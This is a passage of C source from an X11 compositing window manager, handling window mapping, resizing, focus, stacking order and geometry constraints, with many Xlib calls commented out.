restore saved geometry and map if hidden */ //if (!w->attrib.override_redirect) //{ //if (w->saveMask) //XConfigureWindow (d->display, w->id, w->saveMask, &w->saveWc); //if (!w->hidden) //{ //if (w->state & CompWindowStateHiddenMask) //XMapWindow (d->display, w->id); //} //} //if (w->damage) //XDamageDestroy (d->display, w->damage); //if (d->shapeExtension) //XShapeSelectInput (d->display, w->id, NoEventMask); //XSelectInput (d->display, w->id, NoEventMask); //XUngrabButton (d->display, AnyButton, AnyModifier, w->id); //} if (w->attrib.map_state == IsViewable && w->damaged) { if (w->type == CompWindowTypeDesktopMask) w->screen->desktopWindowCount--; if (w->destroyed && w->struts) updateWorkareaForScreen(w->screen); } if (w->destroyed) updateClientListForScreen(w->screen); if (!w->redirected) { w->screen->overlayWindowCount--; if (w->screen->overlayWindowCount < 1) showOutputWindow(w->screen); } (*core.objectRemove)(&w->screen->base, &w->base); objectFiniPlugins(&w->base); freeWindow(w); } void destroyWindow(CompWindow *w) { w->id = 1; w->mapNum = 0; w->destroyRefCnt--; if (w->destroyRefCnt) return; if (!w->destroyed) { w->destroyed = TRUE; w->screen->pendingDestroys++; } } void sendConfigureNotify(CompWindow *w) { XConfigureEvent xev; xev.type = ConfigureNotify; xev.event = w->id; xev.window = w->id; /* normally we should never send configure notify events to override redirect windows but if they support the _NET_WM_SYNC_REQUEST protocol we need to do this when the window is mapped. however the only way we can make sure that the attributes we send are correct and is to grab the server. */ if (w->attrib.override_redirect) { XWindowAttributes attrib; XGrabServer(w->screen->display->display); if (XGetWindowAttributes(w->screen->display->display, w->id, &attrib)) { xev.x = attrib.x; xev.y = attrib.y; xev.width = attrib.width; xev.height = attrib.height; xev.border_width = attrib.border_width; xev.above = (w->prev) ? w->prev->id : None; xev.override_redirect = TRUE; XSendEvent(w->screen->display->display, w->id, FALSE, StructureNotifyMask, (XEvent *)&xev); } XUngrabServer(w->screen->display->display); } else { xev.x = w->serverX; xev.y = w->serverY; xev.width = w->serverWidth; xev.height = w->serverHeight; xev.border_width = w->serverBorderWidth; xev.above = (w->prev) ? w->prev->id : None; xev.override_redirect = w->attrib.override_redirect; XSendEvent(w->screen->display->display, w->id, FALSE, StructureNotifyMask, (XEvent *)&xev); } } void mapWindow(CompWindow *w) { if (w->attrib.map_state == IsViewable) return; if (w->pendingMaps > 0) w->pendingMaps--; w->mapNum = w->screen->mapNum++; if (w->struts) updateWorkareaForScreen(w->screen); if (w->attrib.class == InputOnly) return; w->unmapRefCnt = 1; w->attrib.map_state = IsViewable; //if (!w->attrib.override_redirect) //setWmState (w->screen->display, NormalState, w->id); w->invisible = TRUE; w->damaged = FALSE; w->alive = TRUE; w->bindFailed = FALSE; w->lastPong = w->screen->display->lastPing; updateWindowRegion(w); updateWindowSize(w); //if (w->frame) //XMapWindow (w->screen->display->display, w->frame); updateClientListForScreen(w->screen); if (w->type & CompWindowTypeDesktopMask) w->screen->desktopWindowCount++; //if (w->protocols & CompWindowProtocolSyncRequestMask) //{ //sendSyncRequest (w); //sendConfigureNotify (w); //} if (!w->attrib.override_redirect) { /* been shaded */ if (!w->height) resizeWindow(w, w->attrib.x, w->attrib.y, w->attrib.width, ++w->attrib.height - 1, w->attrib.border_width); } } void unmapWindow(CompWindow *w) { if (w->mapNum) { //if (w->frame && !w->shaded) //XUnmapWindow(w->screen->display->display, w->frame); w->mapNum = 0; } w->unmapRefCnt--; if (w->unmapRefCnt > 0) return; if (w->unmanaging) { XWindowChanges xwc; unsigned int xwcm; int gravity = w->sizeHints.win_gravity; /* revert gravity adjustment made at MapRequest time */ xwc.x = w->serverX; xwc.y = w->serverY; xwc.width = 0; xwc.height = 0; xwcm = adjustConfigureRequestForGravity(w, &xwc, CWX | CWY, gravity, -1); if (xwcm) configureXWindow(w, xwcm, &xwc); w->unmanaging = FALSE; } if (w->struts) updateWorkareaForScreen(w->screen); if (w->attrib.map_state != IsViewable) return; if (w->type == CompWindowTypeDesktopMask) w->screen->desktopWindowCount--; addWindowDamage(w); w->attrib.map_state = IsUnmapped; w->invisible = TRUE; releaseWindow(w); if (w->shaded && w->height) resizeWindow(w, w->attrib.x, w->attrib.y, w->attrib.width, ++w->attrib.height - 1, w->attrib.border_width); updateClientListForScreen(w->screen); if (!w->redirected) redirectWindow(w); } static int restackWindow(CompWindow *w, Window aboveId) { if (w->prev) { if (aboveId && aboveId == w->prev->id) return 0; } else if (aboveId == None && !w->next) return 0; unhookWindowFromScreen(w->screen, w); insertWindowIntoScreen(w->screen, w, aboveId); updateClientListForScreen(w->screen); return 1; } Bool resizeWindow(CompWindow *w, int x, int y, int width, int height, int borderWidth) { if (w->attrib.width != width || w->attrib.height != height || w->attrib.border_width != borderWidth) { unsigned int pw, ph, actualWidth, actualHeight, ui; int dx, dy, dwidth, dheight; Pixmap pixmap = None; Window root; Status result; int i; pw = width + borderWidth * 2; ph = height + borderWidth * 2; if (w->mapNum && w->redirected) { pixmap = XCompositeNameWindowPixmap(w->screen->display->display, w->id); result = XGetGeometry(w->screen->display->display, pixmap, &root, &i, &i, &actualWidth, &actualHeight, &ui, &ui); if (!result || actualWidth != pw || actualHeight != ph) { XFreePixmap(w->screen->display->display, pixmap); return FALSE; } } else if (w->shaded) { ph = 0; } addWindowDamage(w); dx = x - w->attrib.x; dy = y - w->attrib.y; dwidth = width - w->attrib.width; dheight = height - w->attrib.height; w->attrib.x = x; w->attrib.y = y; w->attrib.width = width; w->attrib.height = height; w->attrib.border_width = borderWidth; if (!w->mapNum && w->unmapRefCnt > 0 && w->attrib.map_state == IsViewable) { /* keep old pixmap for windows that are unmapped on the client side, * but not yet on our side as it's pretty likely that plugins are * currently using it for animations */ } else { w->width = pw; w->height = ph; releaseWindow(w); w->pixmap = pixmap; } if (w->mapNum) updateWindowRegion(w); (*w->screen->windowResizeNotify)(w, dx, dy, dwidth, dheight); addWindowDamage(w); w->invisible = WINDOW_INVISIBLE(w); updateFrameWindow(w); } else if (w->attrib.x != x || w->attrib.y != y) { int dx, dy; dx = x - w->attrib.x; dy = y - w->attrib.y; moveWindow(w, dx, dy, TRUE, TRUE); //if (w->frame) //XMoveWindow(w->screen->display->display, w->frame, //w->attrib.x - w->input.left, //w->attrib.y - w->input.top); } return TRUE; } static void syncValueIncrement(XSyncValue *value) { XSyncValue one; int overflow; XSyncIntToValue(&one, 1); XSyncValueAdd(value, *value, one, &overflow); } static Bool initializeSyncCounter(CompWindow *w) { XSyncAlarmAttributes values; Atom actual; int result, format; unsigned long n, left; unsigned char *data; if (w->syncCounter) return w->syncAlarm != None; if (!(w->protocols & CompWindowProtocolSyncRequestMask)) return FALSE; result = XGetWindowProperty(w->screen->display->display, w->id, w->screen->display->wmSyncRequestCounterAtom, 0L, 1L, FALSE, XA_CARDINAL, &actual, &format, &n, &left, &data); if (result == Success && n && data) { unsigned long *counter = (unsigned long *)data; w->syncCounter = *counter; XFree(data); XSyncIntsToValue(&w->syncValue, (unsigned int)rand(), 0); XSyncSetCounter(w->screen->display->display, w->syncCounter, w->syncValue); syncValueIncrement(&w->syncValue); values.events = TRUE; values.trigger.counter = w->syncCounter; values.trigger.wait_value = w->syncValue; values.trigger.value_type = XSyncAbsolute; values.trigger.test_type = XSyncPositiveComparison; XSyncIntToValue(&values.delta, 1); values.events = TRUE; compCheckForError(w->screen->display->display); /* Note that by default, the alarm increments the trigger value * when it fires until the condition (counter.value < trigger.value) * is FALSE again. */ w->syncAlarm = XSyncCreateAlarm(w->screen->display->display, XSyncCACounter | XSyncCAValue | XSyncCAValueType | XSyncCATestType | XSyncCADelta | XSyncCAEvents, &values); if (!compCheckForError(w->screen->display->display)) return TRUE; XSyncDestroyAlarm(w->screen->display->display, w->syncAlarm); w->syncAlarm = None; } else if (result == Success && data) { XFree(data); } return FALSE; } static Bool syncWaitTimeout(void *closure) { CompWindow *w = closure; w->syncWaitHandle = 0; handleSyncAlarm(w); return FALSE; } void sendSyncRequest(CompWindow *w) { XClientMessageEvent xev; if (w->syncWait) return; if (!initializeSyncCounter(w)) return; xev.type = ClientMessage; xev.window = w->id; xev.message_type = w->screen->display->wmProtocolsAtom; xev.format = 32; xev.data.l[0] = w->screen->display->wmSyncRequestAtom; xev.data.l[1] = CurrentTime; xev.data.l[2] = XSyncValueLow32(w->syncValue); xev.data.l[3] = XSyncValueHigh32(w->syncValue); xev.data.l[4] = 0; syncValueIncrement(&w->syncValue); XSendEvent(w->screen->display->display, w->id, FALSE, 0, (XEvent *)&xev); w->syncWait = TRUE; w->syncX = w->serverX; w->syncY = w->serverY; w->syncWidth = w->serverWidth; w->syncHeight = w->serverHeight; w->syncBorderWidth = w->serverBorderWidth; if (!w->syncWaitHandle) w->syncWaitHandle = compAddTimeout(1000, 1200, syncWaitTimeout, w); } void configureWindow(CompWindow *w, XConfigureEvent *ce) { if (w->syncWait) { w->syncX = ce->x; w->syncY = ce->y; w->syncWidth = ce->width; w->syncHeight = ce->height; w->syncBorderWidth = ce->border_width; } else { if (ce->override_redirect) { w->serverX = ce->x; w->serverY = ce->y; w->serverWidth = ce->width; w->serverHeight = ce->height; w->serverBorderWidth = ce->border_width; } resizeWindow(w, ce->x, ce->y, ce->width, ce->height, ce->border_width); } w->attrib.override_redirect = ce->override_redirect; if (restackWindow(w, ce->above)) addWindowDamage(w); } void circulateWindow(CompWindow *w, XCirculateEvent *ce) { Window newAboveId; if (ce->place == PlaceOnTop) newAboveId = getTopWindow(w->screen); else newAboveId = 0; if (restackWindow(w, newAboveId)) addWindowDamage(w); } void moveWindow(CompWindow *w, int dx, int dy, Bool damage, Bool immediate) { if (dx || dy) { if (damage) addWindowDamage(w); w->attrib.x += dx; w->attrib.y += dy; XOffsetRegion(w->region, dx, dy); setWindowMatrix(w); w->invisible = WINDOW_INVISIBLE(w); (*w->screen->windowMoveNotify)(w, dx, dy, immediate); if (damage) addWindowDamage(w); } } void syncWindowPosition(CompWindow *w) { w->serverX = w->attrib.x; w->serverY = w->attrib.y; //XMoveWindow(w->screen->display->display, w->id, w->attrib.x, w->attrib.y); //if (w->frame) //XMoveWindow(w->screen->display->display, w->frame, //w->serverX - w->input.left, //w->serverY - w->input.top); } Bool focusWindow(CompWindow *w) { if (w->attrib.override_redirect) return FALSE; if (!w->managed || w->unmanaging) return FALSE; if (w->destroyed) return FALSE; if (!onCurrentDesktop(w)) return FALSE; if (!w->shaded && (w->state & CompWindowStateHiddenMask)) return FALSE; if (w->attrib.x + w->width <= 0 || w->attrib.y + w->height <= 0 || w->attrib.x >= w->screen->width || w->attrib.y >= w->screen->height) return FALSE; return TRUE; } Bool placeWindow(CompWindow *w, int x, int y, int *newX, int *newY) { return FALSE; } void validateWindowResizeRequest(CompWindow *w, unsigned int *mask, XWindowChanges *xwc, unsigned int source) { CompScreen *s = w->screen; if (w->type & (CompWindowTypeDockMask | CompWindowTypeFullscreenMask | CompWindowTypeUnknownMask)) return; if (*mask & CWY) { int min, max; min = s->workArea.y + w->input.top; max = s->workArea.y + s->workArea.height; if (w->state & CompWindowStateStickyMask && (xwc->y < min || xwc->y > max)) { xwc->y = w->serverY; } else { min -= s->y * s->height; max += (s->vsize - s->y - 1) * s->height; if (xwc->y < min) xwc->y = min; else if (xwc->y > max) xwc->y = max; } } if (*mask & CWX) { int min, max; min = s->workArea.x + w->input.left; max = s->workArea.x + s->workArea.width; if (w->state & CompWindowStateStickyMask && (xwc->x < min || xwc->x > max)) { xwc->x = w->serverX; } else { min -= s->x * s->width; max += (s->hsize - s->x - 1) * s->width; if (xwc->x < min) xwc->x = min; else if (xwc->x > max) xwc->x = max; } } } void windowResizeNotify(CompWindow *w, int dx, int dy, int dwidth, int dheight) { } void windowMoveNotify(CompWindow *w, int dx, int dy, Bool immediate) { } void windowGrabNotify(CompWindow *w, int x, int y, unsigned int state, unsigned int mask) { w->grabbed = TRUE; } void windowUngrabNotify(CompWindow *w) { w->grabbed = FALSE; } void windowStateChangeNotify(CompWindow *w, unsigned int lastState) { /* if being made sticky */ if (!(lastState & CompWindowStateStickyMask) && (w->state & CompWindowStateStickyMask)) { CompScreen *s = w->screen; int vpX; /* x index of the window's vp */ int vpY; /* y index of the window's vp */ /* Find which viewport the window falls in, and check if it's the current viewport */ defaultViewportForWindow(w, &vpX, &vpY); if (s->x != vpX || s->y != vpY) { int moveX = (s->x - vpX) * s->width; int moveY = (s->y - vpY) * s->height; moveWindow(w, moveX, moveY, TRUE, TRUE); syncWindowPosition(w); } } } static Bool isGroupTransient(CompWindow *w, Window clientLeader) { if (!clientLeader) return FALSE; if (w->transientFor == None || w->transientFor == w->screen->root) { if (w->type & (CompWindowTypeUtilMask | CompWindowTypeToolbarMask | CompWindowTypeMenuMask | CompWindowTypeDialogMask | CompWindowTypeModalDialogMask)) { if (w->clientLeader == clientLeader) return TRUE; } } return FALSE; } static CompWindow * getModalTransient(CompWindow *window) { CompWindow *w, *modalTransient; modalTransient = window; for (w = window->screen->reverseWindows; w; w = w->prev) { if (w == modalTransient || w->mapNum == 0) continue; if (w->transientFor == modalTransient->id) { if (w->state & CompWindowStateModalMask) { modalTransient = w; w = window->screen->reverseWindows; } } } if (modalTransient == window) { /* don't look for group transients with modal state if current window has modal state */ if (window->state & CompWindowStateModalMask) return NULL; for (w = window->screen->reverseWindows; w; w = w->prev) { if (w == modalTransient || w->mapNum == 0) continue; if (isAncestorTo(modalTransient, w)) continue; if (isGroupTransient(w, modalTransient->clientLeader)) { if (w->state & CompWindowStateModalMask) { modalTransient = w; w = getModalTransient(w); if (w) modalTransient = w; break; } } } } if (modalTransient == window) modalTransient = NULL; return modalTransient; } void moveInputFocusToWindow(CompWindow *w) { CompScreen *s = w->screen; CompDisplay *d = s->display; CompWindow *modalTransient; modalTransient = getModalTransient(w); if (modalTransient) w = modalTransient; if (w->state & CompWindowStateHiddenMask) { XSetInputFocus(d->display, w->frame, RevertToPointerRoot, CurrentTime); XChangeProperty(d->display, s->root, d->winActiveAtom, XA_WINDOW, 32, PropModeReplace, (unsigned char *)&w->id, 1); } else { Bool setFocus = FALSE; if (w->inputHint) { XSetInputFocus(d->display, w->id, RevertToPointerRoot, CurrentTime); setFocus = TRUE; } if (w->protocols & CompWindowProtocolTakeFocusMask) { XEvent ev; ev.type = ClientMessage; ev.xclient.window = w->id; ev.xclient.message_type = d->wmProtocolsAtom; ev.xclient.format = 32; ev.xclient.data.l[0] = d->wmTakeFocusAtom; ev.xclient.data.l[1] = getCurrentTimeFromDisplay(d); ev.xclient.data.l[2] = 0; ev.xclient.data.l[3] = 0; ev.xclient.data.l[4] = 0; XSendEvent(d->display, w->id, FALSE, NoEventMask, &ev); setFocus = TRUE; } if (setFocus) d->nextActiveWindow = w->id; if (!setFocus && !modalTransient) { CompWindow *ancestor; /* move input to closest ancestor */ for (ancestor = s->windows; ancestor; ancestor = ancestor->next) { if (isAncestorTo(w, ancestor)) { moveInputFocusToWindow(ancestor); break; } } } } } static Bool stackLayerCheck(CompWindow *w, Window clientLeader, CompWindow *below) { if (isAncestorTo(w, below)) return TRUE; if (isAncestorTo(below, w)) return FALSE; if (clientLeader && below->clientLeader == clientLeader) if (isGroupTransient(below, clientLeader)) return FALSE; if (w->state & CompWindowStateAboveMask) { return TRUE; } else if (w->state & CompWindowStateBelowMask) { if (below->state & CompWindowStateBelowMask) return TRUE; } else if (!(below->state & CompWindowStateAboveMask)) { return TRUE; } return FALSE; } static Bool avoidStackingRelativeTo(CompWindow *w) { if (w->attrib.override_redirect) return TRUE; if (!w->shaded && !w->pendingMaps) { if (w->attrib.map_state != IsViewable || w->mapNum == 0) return TRUE; } return FALSE; } /* goes through the stack, top-down until we find a window we should stack above, normal windows can be stacked above fullscreen windows (and fullscreen windows over others in their layer) if aboveFs is TRUE. */ static CompWindow * findSiblingBelow(CompWindow *w, Bool aboveFs) { CompWindow *below; Window clientLeader = w->clientLeader; unsigned int type = w->type; unsigned int belowMask; if (aboveFs) belowMask = CompWindowTypeDockMask; else belowMask = CompWindowTypeDockMask | CompWindowTypeFullscreenMask; /* normal stacking of fullscreen windows with below state */ if ((type & CompWindowTypeFullscreenMask) && (w->state & CompWindowStateBelowMask)) type = CompWindowTypeNormalMask; if (w->transientFor || isGroupTransient(w, clientLeader)) clientLeader = None; for (below = w->screen->reverseWindows; below; below = below->prev) { if (below == w || avoidStackingRelativeTo(below)) continue; /* always above desktop windows */ if (below->type & CompWindowTypeDesktopMask) return below; switch (type) { case CompWindowTypeDesktopMask: /* desktop window layer */ break; case CompWindowTypeFullscreenMask: if (aboveFs) return below; /* otherwise fall-through */ case CompWindowTypeDockMask: /* fullscreen and dock layer */ if (below->type & (CompWindowTypeFullscreenMask | CompWindowTypeDockMask)) { if (stackLayerCheck(w, clientLeader, below)) return below; } else { return below; } break; default: /* fullscreen and normal layer */ if (!(below->type & belowMask)) { if (stackLayerCheck(w, clientLeader, below)) return below; } break; } } return NULL; } /* goes through the stack, top-down and returns the lowest window we can stack above. */ static CompWindow * findLowestSiblingBelow(CompWindow *w) { CompWindow *below, *lowest = w->screen->reverseWindows; Window clientLeader = w->clientLeader; unsigned int type = w->type; /* normal stacking fullscreen windows with below state */ if ((type & CompWindowTypeFullscreenMask) && (w->state & CompWindowStateBelowMask)) type = CompWindowTypeNormalMask; if (w->transientFor || isGroupTransient(w, clientLeader)) clientLeader = None; for (below = w->screen->reverseWindows; below; below = below->prev) { if (below == w || avoidStackingRelativeTo(below)) continue; /* always above desktop windows */ if (below->type & CompWindowTypeDesktopMask) return below; switch (type) { case CompWindowTypeDesktopMask: /* desktop window layer - desktop windows always should be stacked at the bottom; no other window should be below them */ return NULL; break; case CompWindowTypeFullscreenMask: case CompWindowTypeDockMask: /* fullscreen and dock layer */ if (below->type & (CompWindowTypeFullscreenMask | CompWindowTypeDockMask)) { if (!stackLayerCheck(below, clientLeader, w)) return lowest; } else { return lowest; } break; default: /* fullscreen and normal layer */ if (!(below->type & CompWindowTypeDockMask)) { if (!stackLayerCheck(below, clientLeader, w)) return lowest; } break; } lowest = below; } return lowest; } static Bool validSiblingBelow(CompWindow *w, CompWindow *sibling) { Window clientLeader = w->clientLeader; unsigned int type = w->type; /* normal stacking fullscreen windows with below state */ if ((type & CompWindowTypeFullscreenMask) && (w->state & CompWindowStateBelowMask)) type = CompWindowTypeNormalMask; if (w->transientFor || isGroupTransient(w, clientLeader)) clientLeader = None; if (sibling == w || avoidStackingRelativeTo(sibling)) return FALSE; /* always above desktop windows */ if (sibling->type & CompWindowTypeDesktopMask) return TRUE; switch (type) { case CompWindowTypeDesktopMask: /* desktop window layer */ break; case CompWindowTypeFullscreenMask: case CompWindowTypeDockMask: /* fullscreen and dock layer */ if (sibling->type & (CompWindowTypeFullscreenMask | CompWindowTypeDockMask)) { if (stackLayerCheck(w, clientLeader, sibling)) return TRUE; } else { return TRUE; } break; default: /* fullscreen and normal layer */ if (!(sibling->type & CompWindowTypeDockMask)) { if (stackLayerCheck(w, clientLeader, sibling)) return TRUE; } break; } return FALSE; } static void saveWindowGeometry(CompWindow *w, int mask) { int m = mask & ~w->saveMask; /* only save geometry if window has been placed */ if (!w->placed) return; if (m & CWX) w->saveWc.x = w->serverX; if (m & CWY) w->saveWc.y = w->serverY; if (m & CWWidth) w->saveWc.width = w->serverWidth; if (m & CWHeight) w->saveWc.height = w->serverHeight; if (m & CWBorderWidth) w->saveWc.border_width = w->serverBorderWidth; w->saveMask |= m; } static int restoreWindowGeometry(CompWindow *w, XWindowChanges *xwc, int mask) { int m = mask & w->saveMask; if (m & CWX) xwc->x = w->saveWc.x; if (m & CWY) xwc->y = w->saveWc.y; if (m & CWWidth) { xwc->width = w->saveWc.width; /* This is not perfect but it works OK for now. If the saved width is the same as the current width then make it a little be smaller so the user can see that it changed and it also makes sure that windowResizeNotify is called and plugins are notified. */ if (xwc->width == w->serverWidth) { xwc->width -= 10; if (m & CWX) xwc->x += 5; } } if (m & CWHeight) { xwc->height = w->saveWc.height; /* As above, if the saved height is the same as the current height then make it a little be smaller. */ if (xwc->height == w->serverHeight) { xwc->height -= 10; if (m & CWY) xwc->y += 5; } } if (m & CWBorderWidth) xwc->border_width = w->saveWc.border_width; w->saveMask &= ~mask; return m; } static void reconfigureXWindow(CompWindow *w, unsigned int valueMask, XWindowChanges *xwc) { if (valueMask & CWX) w->serverX = xwc->x; if (valueMask & CWY) w->serverY = xwc->y; if (valueMask & CWWidth) w->serverWidth = xwc->width; if (valueMask & CWHeight) w->serverHeight = xwc->height; if (valueMask & CWBorderWidth) w->serverBorderWidth = xwc->border_width; //XConfigureWindow(w->screen->display->display, w->id, valueMask, xwc); //if (w->frame && (valueMask & (CWSibling | CWStackMode))) //XConfigureWindow(w->screen->display->display, w->frame, //valueMask & (CWSibling | CWStackMode), xwc); } static Bool stackTransients(CompWindow *w, CompWindow *avoid, XWindowChanges *xwc) { CompWindow *t; Window clientLeader = w->clientLeader; if (w->transientFor || isGroupTransient(w, clientLeader)) clientLeader = None; for (t = w->screen->reverseWindows; t; t = t->prev) { if (t == w || t == avoid) continue; if (t->transientFor == w->id || isGroupTransient(t, clientLeader)) { if (w->type & CompWindowTypeDockMask) if (!(t->type & CompWindowTypeDockMask)) return FALSE; if (!stackTransients(t, avoid, xwc)) return FALSE; if (xwc->sibling == t->id) return FALSE; if (t->mapNum || t->pendingMaps) reconfigureXWindow(t, CWSibling | CWStackMode, xwc); } } return TRUE; } static void stackAncestors(CompWindow *w, XWindowChanges *xwc) { if (w->transientFor && xwc->sibling != w->transientFor) { CompWindow *ancestor; ancestor = findWindowAtScreen(w->screen, w->transientFor); if (ancestor) { if (!stackTransients(ancestor, w, xwc)) return; if (ancestor->type & CompWindowTypeDesktopMask) return; if (ancestor->type & CompWindowTypeDockMask) if (!(w->type & CompWindowTypeDockMask)) return; if (ancestor->mapNum || ancestor->pendingMaps) reconfigureXWindow(ancestor, CWSibling | CWStackMode, xwc); stackAncestors(ancestor, xwc); } } else if (isGroupTransient(w, w->clientLeader)) { CompWindow *a; for (a = w->screen->reverseWindows; a; a = a->prev) { if (a->clientLeader == w->clientLeader && a->transientFor == None && !isGroupTransient(a, w->clientLeader)) { if (xwc->sibling == a->id) break; if (!stackTransients(a, w, xwc)) break; if (a->type & CompWindowTypeDesktopMask) continue; if (a->type & CompWindowTypeDockMask) if (!(w->type & CompWindowTypeDockMask)) break; if (a->mapNum || a->pendingMaps) reconfigureXWindow(a, CWSibling | CWStackMode, xwc); } } } } void configureXWindow(CompWindow *w, unsigned int valueMask, XWindowChanges *xwc) { if (w->managed && (valueMask & (CWSibling | CWStackMode))) { /* transient children above */ if (stackTransients(w, NULL, xwc)) { reconfigureXWindow(w, valueMask, xwc); /* ancestors, siblings and sibling transients below */ stackAncestors(w, xwc); } } else { reconfigureXWindow(w, valueMask, xwc); } } static int addWindowSizeChanges(CompWindow *w, XWindowChanges *xwc, int oldX, int oldY, int oldWidth, int oldHeight, int oldBorderWidth) { XRectangle workArea; int mask = 0; int x, y; int vx, vy; int output; viewportForGeometry(w->screen, oldX, oldY, oldWidth, oldHeight, oldBorderWidth, &vx, &vy); x = (vx - w->screen->x) * w->screen->width; y = (vy - w->screen->y) * w->screen->height; output = outputDeviceForGeometry(w->screen, oldX, oldY, oldWidth, oldHeight, oldBorderWidth); getWorkareaForOutput(w->screen, output, &workArea); if (w->type & CompWindowTypeFullscreenMask) { saveWindowGeometry(w, CWX | CWY | CWWidth | CWHeight | CWBorderWidth); if (w->fullscreenMonitorsSet) { xwc->x = x + w->fullscreenMonitorRect.x; xwc->y = y + w->fullscreenMonitorRect.y; xwc->width = w->fullscreenMonitorRect.width; xwc->height = w->fullscreenMonitorRect.height; } else { xwc->x = x + w->screen->outputDev[output].region.extents.x1; xwc->y = y + w->screen->outputDev[output].region.extents.y1; xwc->width = w->screen->outputDev[output].width; xwc->height = w->screen->outputDev[output].height; } xwc->border_width = 0; mask |= CWX | CWY | CWWidth | CWHeight | CWBorderWidth; } else { mask |= restoreWindowGeometry(w, xwc, CWBorderWidth); if (w->state & CompWindowStateMaximizedVertMask) { saveWindowGeometry(w, CWY | CWHeight); xwc->height = workArea.height - w->input.top - w->input.bottom - oldBorderWidth * 2; mask |= CWHeight; } else { mask |= restoreWindowGeometry(w, xwc, CWY | CWHeight); } if (w->state & CompWindowStateMaximizedHorzMask) { saveWindowGeometry(w, CWX | CWWidth); xwc->width = workArea.width - w->input.left - w->input.right - oldBorderWidth * 2; mask |= CWWidth; } else { mask |= restoreWindowGeometry(w, xwc, CWX | CWWidth); } /* constrain window width if smaller than minimum width */ if (!(mask & CWWidth) && oldWidth < w->sizeHints.min_width) { xwc->width = w->sizeHints.min_width; mask |= CWWidth; } /* constrain window width if greater than maximum width */ if (!(mask & CWWidth) && oldWidth > w->sizeHints.max_width) { xwc->width = w->sizeHints.max_width; mask |= CWWidth; } /* constrain window height if smaller than minimum height */ if (!(mask & CWHeight) && oldHeight < w->sizeHints.min_height) { xwc->height = w->sizeHints.min_height; mask |= CWHeight; } /* constrain window height if greater than maximum height */ if (!(mask & CWHeight) && oldHeight > w->sizeHints.max_height) { xwc->height = w->sizeHints.max_height; mask |= CWHeight; } if (mask & (CWWidth | CWHeight)) { int width, height, max; width = (mask & CWWidth) ? xwc->width : oldWidth; height = (mask & CWHeight) ? xwc->height : oldHeight; xwc->width = oldWidth; xwc->height = oldHeight; constrainNewWindowSize(w, width, height, &width, &height); if (width != oldWidth) { mask |= CWWidth; xwc->width = width; } else mask &= ~CWWidth; if (height != oldHeight) { mask |= CWHeight; xwc->height = height; } else mask &= ~CWHeight; if (w->state & CompWindowStateMaximizedVertMask) { if (oldY < y + workArea.y + w->input.top) { xwc->y = y + workArea.y + w->input.top; mask |= CWY; } else { height = xwc->height + oldBorderWidth * 2; max = y + workArea.y + workArea.height; if (oldY + oldHeight + w->input.bottom > max) { xwc->y = max - height - w->input.bottom; mask |= CWY; } else if (oldY + height + w->input.bottom > max) { xwc->y = y + workArea.y + (workArea.height - w->input.top - height - w->input.bottom) / 2 + w->input.top; mask |= CWY; } } } if (w->state & CompWindowStateMaximizedHorzMask) { if (oldX < x + workArea.x + w->input.left) { xwc->x = x + workArea.x + w->input.left; mask |= CWX; } else { width = xwc->width + oldBorderWidth * 2; max = x + workArea.x + workArea.width; if (oldX + oldWidth + w->input.right > max) { xwc->x = max - width - w->input.right; mask |= CWX; } else if (oldX + width + w->input.right > max) { xwc->x = x + workArea.x + (workArea.width - w->input.left - width - w->input.right) / 2 + w->input.left; mask |= CWX; } } } } } if ((mask & CWX) && (xwc->x == oldX)) mask &= ~CWX; if ((mask & CWY) && (xwc->y == oldY)) mask &= ~CWY; if ((mask & CWWidth) && (xwc->width == oldWidth)) mask &= ~CWWidth; if ((mask & CWHeight) && (xwc->height == oldHeight)) mask &= ~CWHeight; return mask; } unsigned int adjustConfigureRequestForGravity(CompWindow *w, XWindowChanges *xwc, unsigned int xwcm, int gravity, int direction) { int newX, newY; unsigned int mask = 0; newX = xwc->x; newY = xwc->y; if (xwcm & (CWX | CWWidth)) { switch (gravity) { case NorthWestGravity: case WestGravity: case SouthWestGravity: if (xwcm & CWX) newX += w->input.left; break; case NorthGravity: case CenterGravity: case SouthGravity: if (xwcm & CWX) newX -= xwc->width / 2 - w->input.left + (w->input.left + w->input.right) / 2; else newX -= (xwc->width - w->serverWidth) / 2; break; case NorthEastGravity: case EastGravity: case SouthEastGravity: if (xwcm & CWX) newX -= xwc->width + w->input.right; else newX -= xwc->width - w->serverWidth; break; case StaticGravity: default: break; } } if (xwcm & (CWY | CWHeight)) { switch (gravity) { case NorthWestGravity: case NorthGravity: case NorthEastGravity: if (xwcm & CWY) newY += w->input.top; break; case WestGravity: case CenterGravity: case EastGravity: if (xwcm & CWY) newY -= xwc->height / 2 - w->input.top + (w->input.top + w->input.bottom) / 2; else newY -= (xwc->height - w->serverHeight) / 2; break; case SouthWestGravity: case SouthGravity: case SouthEastGravity: if (xwcm & CWY) newY -= xwc->height + w->input.bottom; else newY -= xwc->height - w->serverHeight; break; case StaticGravity: default: break; } } if (newX != xwc->x) { xwc->x += (newX - xwc->x) * direction; mask |= CWX; } if (newY != xwc->y) { xwc->y += (newY - xwc->y) * direction; mask |= CWY; } return mask; } void moveResizeWindow(CompWindow *w, XWindowChanges *xwc, unsigned int xwcm, int gravity, unsigned int source) { Bool placed = FALSE; xwcm &= (CWX | CWY | CWWidth | CWHeight | CWBorderWidth); if (xwcm & (CWX | CWY)) if (w->sizeHints.flags & (USPosition | PPosition)) placed = TRUE; if (gravity == 0) gravity = w->sizeHints.win_gravity; if (!(xwcm & CWX)) xwc->x = w->serverX; if (!(xwcm & CWY)) xwc->y = w->serverY; if (!(xwcm & CWWidth)) xwc->width = w->serverWidth; if (!(xwcm & CWHeight)) xwc->height = w->serverHeight; /* when horizontally maximized only allow width changes added by addWindowSizeChanges or constrainNewWindowState */ if (w->state & CompWindowStateMaximizedHorzMask) xwcm &= ~CWWidth; /* when vertically maximized only allow height changes added by addWindowSizeChanges or constrainNewWindowState */ if (w->state & CompWindowStateMaximizedVertMask) xwcm &= ~CWHeight; if (xwcm & (CWWidth | CWHeight)) { int width, height; if (constrainNewWindowSize(w, xwc->width, xwc->height, &width, &height)) { if (width != xwc->width) xwcm |= CWWidth; if (height != xwc->height) xwcm |= CWHeight; xwc->width = width; xwc->height = height; } } xwcm |= adjustConfigureRequestForGravity(w, xwc, xwcm, gravity, 1); (*w->screen->validateWindowResizeRequest)(w, &xwcm, xwc, source); xwcm |= addWindowSizeChanges(w, xwc, xwc->x, xwc->y, xwc->width, xwc->height, xwc->border_width); /* check if the new coordinates are useful and valid (different to current size); if not, we have to clear them to make sure we send a synthetic ConfigureNotify event if all coordinates match the server coordinates */ if (xwc->x == w->serverX) xwcm 